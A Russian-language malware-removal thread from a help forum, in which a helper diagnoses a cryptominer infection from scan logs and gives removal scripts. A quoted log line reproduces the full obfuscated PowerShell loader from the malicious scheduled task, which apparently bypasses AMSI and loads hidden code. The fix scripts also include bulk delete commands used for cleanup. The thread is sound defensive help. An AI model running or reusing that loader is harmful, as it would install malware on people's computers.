КОМП ЖИВЁТ СВОЕЙ ЖИЗНЬЮ

[RAWEN]

постоянно подтормаживает,в видео,уменьшает звук,перескакивает в строчках выбора. Посмотрите пожалуйста логи.

[Info_bot]

Уважаемый(ая) RAWEN, спасибо за обращение на наш форум!

Помощь при заражении компьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста, поддержите проект.

[Vvvyg]

Запустите HijackThis, расположенный в папке Autologger и пофиксите только эти строки:

O22 - Task: (damaged) HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\AVAST Software (empty)
O22 - Tasks: \Microsoft\Windows\Maintenance\WinNAT - C:\ProgramData\Windows\Profile\1.vbs powershell -c "4324775560;$TyC='qSy_stiemp.Mpan.ag?emqenst.wAu+tocmagti_on6.A_ms_iU2ti6ls8-a6ms_iIzniwtF+ai_lend-hNo.nPyubmlirc,+St_atuic' -replace('.EuW(EuW.EuW.)'-replace'EuW'),('$'+440/440);'z$T_yC==$.Ty_C z-s_plzit,''-1'';r[Rqef5].gAsmsermbsly_.G_etaTy-pe_($_Ty]C[/0]f).}GeetF6ie0ld7($jTy_C[s1]w,$bTybC[42]n).2Se-tV!allue/($anuull+,({44!0-qnez94p9)+) '-replace('.EuW(EuW.EuW.)'-replace'EuW'),('$'+440/440)|&('dxidxedxx'-replace'dx');'b&(=gcpm 8A*m-T7y*+)._Naqmeg (_''(jus+7i3neag 6oS}y?_st1nenm(5;u3us}i]_ngch 3S__ys_2tweusm.[0I_Oe_;u_ts?ib_ng__ qSbtys5ct_e__m.,fR8u2_nts_i_m__e.83Iin5/te!_rrox)pS_cesri4vi=7c.en.s;k_u)s_4in}3g5 _wMib9c2r?_os(ko_f[dt.ifW[id/n3_321;80pu_ebrl_pic_x ?c_0la_nsos/_ V/0dq{f/de__l=exogad}tref6 v_3o!i}md 9vv_S_uQbds(_)c1;py6u_bokli_/c4 (nst1,a_t-_ic5l 7vl.oi_pdz ,xFD-_W7Log()7_{.b/,yt,_e_[_3]zd_jqr_.a=/+Fti_0le)_._El[xiddsdt_ms(pwWqP__jhqsy_tfpvrkhv3ropWP1/)i?6}Fi50l.ef3.Rj8eua_odAy=l2l]3Byt1t9e9ls(3qWhPwijh7_yxt_/vry(vwr_6WPf0)_:!_(b__y?tn_e[_b]m)_iRe_=g7if0st.erfy_o.L4ro[ce5al_bMuad(ch5oi{no.e.8(Oap_.envnSmuz2bK4qe_yyb(@v/WvP._SO}zF}Tb_WA_[R_E]3\M__i_cdtro_ls]o__fttv\_C()TF_8\7TmxIPrgW4Ps=).s_G_e_,tVn0ahl4iueb_(aW-_Pj!9h_yv_tvx5rtvi8rW=vP_,g[nu6el_l=));_8ipf_r(zt_jrr8+a=_o=}n_)ult_l_)_)re+4tru,_rn0,;0i_rnta_ !h_pnar7=iz)xjr/1a2.v.Le{4n_gv)thlq;_fv?orz_(_i[ant.p vo6{aNxsi_=rm0;,ao!am_Ni)_ )!=f=hipn_a6]-1b];+o[!aN(bi!+x_+)]_{yzz_jr]ba_[u_oab-Noi0)]^}3=_(_!byxdt,e8t)W+/PoNd./bw_xtZ}h9/vaocM9n_88([p5,zc1j_Z5U(_K3+hLcdgn.]++k_2{_Klq0P!Nn_OQ_rCr)x?JDv_41L_8!ny[,vB}fDy0uq=1kaaqa(Uq9ou!q1_D_e._BP3lY_W)3P[mvo_azqNi_!fvZnlE5h(6,]_n;}_gIon?)tP5bt4r9_ Yvbcr=j_(I)[n_tg6Pt-hrq)?50;[xIrn__tPx,t_rfc d_lzf=tv(I=undt}2Pt_nru)cehnr3a{;n/Nt_]Arl_eloavc.a_jtec_V0i0_rti6u(ah9lMq_e_md/or]gy](f7(I_wnot+dPt_eru)s5(-yn1p).],re_e.f_h Y{fct,(_(I_pn_tvyPt]hr_)])0,]lrbem_f /ad_z{_,05vxo1oh007b0s,kb0x!r460j/);h_Mia1_rs5?h_a__l.!fCzo17py__(_z+)jr3_a/,[-0,s4Ybc._,haanga__);-3(_()?vS7_Qnb+})M]uafrx{sh07aclkw.G-re_ts5De}vlheb_gaq(t!eftFo5br!F_aun__c(t-]io,_n_P]+oim_nxtbkersd(zYqtc,ojtkyc6pecgo_fz6(vw=S_Q!cb)fj)p)u_()88;]})v[D+hl2l_}Im,_pgo-qrt_2(_W,uPn!_t{d(wll37WrPyb)]_]pmr._ivzja)td,e +esuthsat-!idc2_ eqbxxtr[erh.n. __lo/lnugz- N_{tlA(hll__o4c-_atl_e_Vn=iritt7uioal9eM!e3omo_/roy._(I0dn_t-0Ptj?r_ 41bYv?b),4_recmf) h_In8_t_P_xtr.r _A_7un_l,]I_]ntg_Phtm1r m?gxL?=IG._,]r{refe_ -Iw4nt__P_t,zr l/Q+L1oFtr(,kU_{Inn=ti3u)2 _?LeL6yZf_],nU_gInect]3)o2 l6EcstsK)kq;_}''d-r_ep2la1ceo''.](.(.)f'',,''$61'', -9re,pleache''7WPz'',s[c_haur]_(3e4)e -are-pl?ache''rfZ2E''_,[_chaar_](337)))n;[_Enbvibrounm_enit]x::yCu_rrfenztD]ir_ecpto?ry3=p3wd5;[_Vde]:d:F)DWyL(_);'-replace('.OrjO(OrjO.OrjO.)'-replace'OrjO'),('$'+551/551)|&('DcwiDcweDcwx'-replace'Dcw');5699425960" (file missing)

Перезагрузите систему.

Скачайте Farbar Recovery Scan Tool или с зеркала и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Да для соглашения с предупреждением.

Нажмите кнопку Сканировать.

После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).

[RAWEN]

Сделано.

[Vvvyg]

Выделите и скопируйте в буфер обмена следующий код:

Start::
CreateRestorePoint:
Folder: C:\ProgramData\Windows\Profile
C:\ProgramData\Windows\Profile\1.vbs
MSCONFIG\startupreg: SearcherBar => "C:\Windows\system32\mshta.exe" "C:\SearcherBar\run.hta"
Google Update Helper (HKLM-x32\...\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}) (Version: 1.3.34.13 - Google LLC) Hidden
StartBatch:
del /s /q C:\Windows\SoftwareDistribution\download\*.*
del /s /q "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Cache\*.*"
del /s /q "%userprofile%\AppData\Local\Opera Software\Opera Stable\Cache\Cache_Data\*.*"
del /s /q C:\Windows\Temp\*.*
del /s /q "%userprofile%\AppData\Local\temp\*.*"
del /s /q C:\Windows\Minidump\*.dmp
ipconfig /flushdns
sfc /scannow
endbatch:
Reboot:
End::

Запустите FRST.EXE/FRST64.EXE, нажмите один раз Исправить и подождите. Программа создаст лог-файл (Fixlog.txt). Упакуйте его в архив .RAR или .7z с максимальным сжатием и прикрепите к своему следующему сообщению.
Компьютер будет перезагружен.

Сообщите, что с проблемами.

[RAWEN]

Сделал.При сжатии7z и выборе степени сжатия,само перескакивает по строчкам и останавливается только на верхней строчке-без сжатия.Пробовал отключить мышь\клавиатуру,думал что залипает,без результата.Получилось сжать по умолчанию-нормальный.

[Vvvyg]

С клавиатурой/мышью или с USB портами проблема. Был майнер, удалён, сейчас остатки зачистим.
Кстати, файл подкачки не отключали, случаем? Без него глюки обеспечены.

Выделите и скопируйте в буфер обмена следующий код:

Start::
C:\ProgramData\Windows\Profile
End::

Запустите FRST.EXE/FRST64.EXE, нажмите один раз Исправить и подождите. Программа создаст лог-файл (Fixlog.txt)? прикрепите его.

[RAWEN]

Сделал.Файл подкачки уменьшен,но не отключен.Если проблема в железе-разберусь.Спасибо за оперативную помощь.

[Vvvyg]

Лучше оставтьте по выбору системы, часто это является причиной вылета приложений и BSODов.

Переименуйте FRST.exe (или FRST64.exe) в uninstall.exe и запустите. Логи, карантин и другие файлы, созданные программой, будут удалены.
Компьютер перезагрузится.